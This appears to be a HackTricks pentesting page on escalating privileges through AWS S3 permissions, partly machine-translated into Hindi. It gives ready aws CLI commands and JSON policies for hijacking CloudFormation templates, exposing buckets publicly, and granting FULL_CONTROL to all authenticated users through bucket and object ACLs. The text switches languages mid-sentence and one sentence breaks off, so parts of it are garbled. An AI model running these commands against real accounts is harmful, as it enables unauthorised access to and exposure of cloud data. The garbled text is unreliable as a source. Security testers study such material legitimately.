AWS - S3 Privesc

Support HackTricks

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

एक हमलावर जिसके पास इन दिलचस्प बकेट्स पर ये अनुमतियाँ हैं, संसाधनों को हाईजैक करने और विशेषाधिकार बढ़ाने में सक्षम हो सकता है।

उदाहरण के लिए, एक हमलावर जिसके पास "cf-templates-nohnwfax6a6i-us-east-1" नामक एक क्लाउडफॉर्मेशन बकेट पर ये अनुमतियाँ हैं, वह डिप्लॉयमेंट को हाईजैक करने में सक्षम होगा। एक्सेस निम्नलिखित नीति के साथ दिया जा सकता है:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Action":[
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"],
"Resource":[
"arn:aws:s3:::cf-templates-*\/*",
"arn:aws:s3:::cf-templates-*"]
},
{
"Effect":"Allow",
"Action":"s3:ListAllMyBuckets",
"Resource":"*"
}]
}

And the hijack is possible because there is a छोटी समय खिड़की टेम्पलेट अपलोड होने के क्षण से बकेट में टेम्पलेट तैनात होने के क्षण तक। एक हमलावर बस अपने खाते में एक लैम्ब्डा फ़ंक्शन बना सकता है जो तब ट्रिगर होगा जब बकेट सूचना भेजी जाएगी, और हाइजैक कर लेगा उस बकेट का सामग्री

The Pacu module cfn__resouce_injection can be used to automate this attack. For mor informatino check the original research: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

These are the permissions to S3 में ऑब्जेक्ट प्राप्त करने और अपलोड करने के लिए। AWS के अंदर (और बाहर) कई सेवाएँ कॉन्फ़िग फ़ाइलों को स्टोर करने के लिए S3 स्टोरेज का उपयोग करती हैं। एक हमलावर जिसके पास पढ़ने की पहुँच है, वह उन पर संवेदनशील जानकारी पा सकता है। एक हमलावर जिसके पास लिखने की पहुँच है, वह डेटा को संशोधित कर सकता है ताकि किसी सेवा का दुरुपयोग किया जा सके और विशेषाधिकार बढ़ाने की कोशिश की जा सके। ये कुछ उदाहरण हैं:

  • यदि एक EC2 उदाहरण उपयोगकर्ता डेटा को S3 बकेट में स्टोर कर रहा है, तो एक हमलावर इसे EC2 उदाहरण के अंदर मनमाना कोड निष्पादित करने के लिए संशोधित कर सकता है

s3:PutBucketPolicy

एक हमलावर, जिसे उसी खाते से होना चाहिए, यदि नहीं तो त्रुटि The specified method is not allowed will trigger, इस अनुमति के साथ बकेट(s) पर अधिक अनुमति देने में सक्षम होगा जिससे वह पढ़, लिख, संशोधित, हटाने और बकेट को उजागर कर सके।

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

एक हमलावर इन अनुमतियों का दुरुपयोग करके उसे विशेष बाल्टियों पर अधिक पहुंच देने के लिए कर सकता है। ध्यान दें कि हमलावर को उसी खाते से होने की आवश्यकता नहीं है। इसके अलावा, लिखने की पहुंच

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

एक हमलावर इन अनुमतियों का दुरुपयोग करके बकेट के भीतर विशिष्ट वस्तुओं पर अधिक पहुंच प्राप्त कर सकता है।

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

इन विशेषाधिकारों के साथ एक हमलावर को एक विशिष्ट ऑब्जेक्ट संस्करण पर Acl लगाने में सक्षम होने की उम्मीद है।

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
HackTricks का समर्थन करें

Last updated